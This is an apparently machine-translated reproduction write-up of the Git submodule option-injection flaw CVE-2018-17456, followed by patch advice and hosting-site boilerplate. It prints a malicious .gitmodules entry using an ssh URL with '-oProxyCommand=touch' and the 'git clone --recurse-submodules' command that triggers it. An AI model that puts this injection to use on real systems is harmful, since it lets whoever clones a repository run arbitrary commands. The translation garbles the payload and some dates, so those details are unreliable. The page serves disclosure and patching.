Git vulnerabilities allow arbitrary code execution (CVE-2018-17456) Reproduction

Source: Internet
Author: User
Tags cve

Git vulnerability allows arbitrary code execution (CVE-2018-17456)

Foreign security researcher joernchen reported details about the vulnerability to the GIT official team on June 13, September 23. On October 5, the GIT project disclosed a vulnerability numbered CVE-2018-17456. When a user clones a malicious repository, this vulnerability may cause arbitrary code execution.

Vulnerability description

This vulnerability has been assigned a unique ID for the CVE-2018-17456, similar to the previous CVE-2017-1000117 selectable injection vulnerability-a malicious repository can create a new. gitmodules file that contains a URL starting with a break.

When git uses the -- recurse-submodules parameter to clone a repository, this command translates the URL into an option and then uses this option for remote code execution on the computer.

When you run "Git clone -- recurse-submodules", git parses the url field in the. gitmodules file and passes it as a parameter to the "Git clone" subprocess. If the URL field is a string and starts with a short line, the "Git clone" sub-process translates the URL into an option. This may cause the user to execute any script in the superproject when running "Git clone.

Affected Product GitHub Desktop

GitHub desktop 1.4.1 and earlier versions contain embedded git affected by this vulnerability.

Atom

Atom contains the same embedded git and is also affected. Versions 1.31.2 and 1.32.0-beta3 include patches.

Git command line

Git on the command line and other clients

Vulnerability recurrence

Git command line for Mac OS, version 2.10.1

    • 0x1 first create a repository on GitHub and then upload a repository. GitmodulesFile, which is written into payload:
 
[Submodule "test"] Path = test url = SSH: //-oproxycommand = touch jimz-test/[email protected]:/timwr/test. Git

IfTouch jimz-test.

Since then, our malicious repository has been created.

    • 0x2 open the affected git on the target and enter Payload
 
Git clone https://github.com/zhengjim/CVE-2018-17456.git -- recurse-submodules

ThenLs CVE-2018-17456View

The jimz-test file exists, proving that it has been executedTouch jimz-test

Recurrence successful

Solution

This vulnerability has been found in git v2.19.1 (with backports in v2.14.5, v2.15.3, v2.16.5, v2.17.2, and v2.18.1), GitHub desktop 1.4.2, GitHub desktop 1.4.3-beta0, atom 1.31.2 and atom 1.32.0-beta3 are fixed.

    • Update the GIT command line tool to the latest version officially released by git.

    • GitHub desktop is updated to version 1.4.2 and 1.4.3-beta0.

    • Atom is updated to version 1.31.2 and 1.32.0-beta3.

References
    • Https://mp.weixin.qq.com/s/8ccCxij6XI90sfJzvpkDVg
    • Https://zhuanlan.kanxue.com/article-5210.htm
    • Http://hackernews.cc/archives/24216

Git vulnerabilities allow arbitrary code execution (CVE-2018-17456) Reproduction

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.